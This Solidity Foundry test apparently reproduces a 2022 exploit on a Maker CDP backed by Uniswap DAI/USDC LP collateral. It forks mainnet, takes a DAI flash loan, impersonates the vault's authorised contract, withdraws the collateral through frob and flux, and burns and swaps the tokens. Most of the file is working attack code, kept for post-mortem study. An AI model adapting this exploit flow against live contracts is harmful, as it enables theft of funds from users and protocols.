src/test/2022-08/Circle_exp1.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : ~$50.5K
7// Attacker : https://etherscan.io/address/0xdfdea277f6b44270bcb804997d1e6cc4ad8407db
8// Attack Contract : https://etherscan.io/address/0xfd51531b26f9be08240f7459eea5be80d5b047d9
9// Vulnerable Contract : https://etherscan.io/address/0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5
10// Attack Tx : https://etherscan.io/tx/0xa4e650772f6e6b7ecc0964fe4c3854850669d1467570a2fa2b6edfa0f112c4b7
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0xae461ca67b15dc8dc81ce7615e0320da1a9ab8d5#code
14 
15// @Analysis
16// Post-mortem : https://app.blocksec.com/explorer/tx/eth/0xa4e650772f6e6b7ecc0964fe4c3854850669d1467570a2fa2b6edfa0f112c4b7
17// Twitter Guy :
18// Hacking God :
19pragma solidity ^0.8.0;
20 
21import "forge-std/Test.sol";
22import "./../interface.sol";
23 
24interface IMakerPool {
25    function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);
26}
27 
28struct Urn {
29    uint256 ink; // Locked Collateral  [wad]
30    uint256 art; // Normalised Debt    [wad]
31}
32 
33struct Ilk {
34    uint256 Art; // Total Normalised Debt     [wad]
35    uint256 rate; // Accumulated Rates         [ray]
36    uint256 spot; // Price with Safety Margin  [ray]
37    uint256 line; // Debt Ceiling              [rad]
38    uint256 dust; // Urn Debt Floor            [rad]
39}
40 
41interface IMakerVat {
42    function urns(bytes32, address) external view returns (Urn memory);
43    function hope(
44        address
45    ) external;
46    function heal(
47        uint256
48    ) external;
49    function ilks(
50        bytes32
51    ) external view returns (Ilk memory);
52}
53 
54interface IMakerManager {
55    function urns(
56        uint256
57    ) external view returns (address);
58    function join(address, uint256) external;
59    function flux(uint256, address, uint256) external;
60    function frob(uint256, int256, int256) external;
61    function open(bytes32, address) external returns (uint256);
62    function cdpAllow(uint256, address, uint256) external;
63}
64 
65interface IUniv2 {
66    function exit(address, uint256) external;
67}
68 
69interface IUniv2Token {
70    function burn(
71        address
72    ) external returns (uint256, uint256);
73}
74 
75interface Mcd {
76    function sellGem(address, uint256) external;
77}
78 
79contract Circle is BaseTestWithBalanceLog {
80    address private constant maker = 0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853;
81    address private constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
82    address private constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
83    address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
84 
85    address maker_cdp_manager = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
86    address maker_mcd_join_dai = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
87    address make_mcd_vat = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
88    address univ2 = 0xA81598667AC561986b70ae11bBE2dd5348ed4327;
89    address univ2_token = 0xAE461cA67B15dc8dc81CE7615e0320dA1A9aB8D5;
90    address mcd = 0x89B78CfA322F6C5dE0aBcEecab66Aee45393cC5A;
91 
92    address circle = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
93 
94    address allower = 0x0A59649758aa4d66E25f08Dd01271e891fe52199;
95 
96    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
97 
98    function setUp() public {
99        cheats.createSelectFork("mainnet", 15_331_020 - 1);
100    }
101 
102    function testExploit() public {
103        emit log_named_decimal_uint(
104            "[Begin] Attacker Circle before exploit", IERC20(circle).balanceOf(address(this)), 6
105        );
106        uint256 amount = 2_437_926_935_218_598_618_037_988;
107        bytes memory data =
108            "0x0000000000000000000000000000000000000000000000000000000000006e970000000000000000000000000000000000000000000000000000000000000000";
109        IMakerPool(maker).flashLoan(address(this), dai, amount, data);
110        emit log_named_decimal_uint("[End] Attacker Circle after exploit", IERC20(circle).balanceOf(address(this)), 6);
111    }
112 
113    function onFlashLoan(
114        address initiator,
115        address token,
116        uint256 amount,
117        uint256 fee,
118        bytes calldata data
119    ) external returns (bytes32) {
120        address urns_address = IMakerManager(maker_cdp_manager).urns(28_311);
121        Urn memory urn = IMakerVat(make_mcd_vat).urns(
122            0x554e495632444149555344432d41000000000000000000000000000000000000, urns_address
123        );
124 
125        Ilk memory ilk =
126            IMakerVat(make_mcd_vat).ilks(0x554e495632444149555344432d41000000000000000000000000000000000000);
127 
128        uint256 amount_dai = IERC20(dai).balanceOf(address(this));
129        IERC20(dai).approve(maker_mcd_join_dai, amount_dai);
130 
131        IMakerManager(maker_mcd_join_dai).join(urns_address, amount_dai);
132 
133        cheats.prank(0xfd51531b26f9Be08240f7459Eea5BE80D5B047D9); // borrow the authority of cdp 28311 (assigned before)
134        // dink = 0-urn.ink/4 = -1104761777152681125
135        // dart = 0-urn.art/4 = -2419153952397280665329975
136        IMakerManager(maker_cdp_manager).frob(28_311, -1_104_761_777_152_681_125, -2_419_153_952_397_280_665_329_975);
137        cheats.prank(0xfd51531b26f9Be08240f7459Eea5BE80D5B047D9);
138        IMakerManager(maker_cdp_manager).flux(28_311, address(this), 1_104_761_777_152_681_125);
139        IUniv2(univ2).exit(address(this), 1_104_761_777_152_681_125);
140 
141        IERC20(univ2_token).transfer(univ2_token, 1_104_761_777_152_681_125);
142        (uint256 amount0, uint256 amount1) = IUniv2Token(univ2_token).burn(address(this));
143 
144        IERC20(circle).approve(allower, type(uint256).max);
145        Mcd(mcd).sellGem(address(this), 1_193_139_061_611);
146        IERC20(dai).approve(maker, type(uint256).max);
147        return 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9;
148    }
149}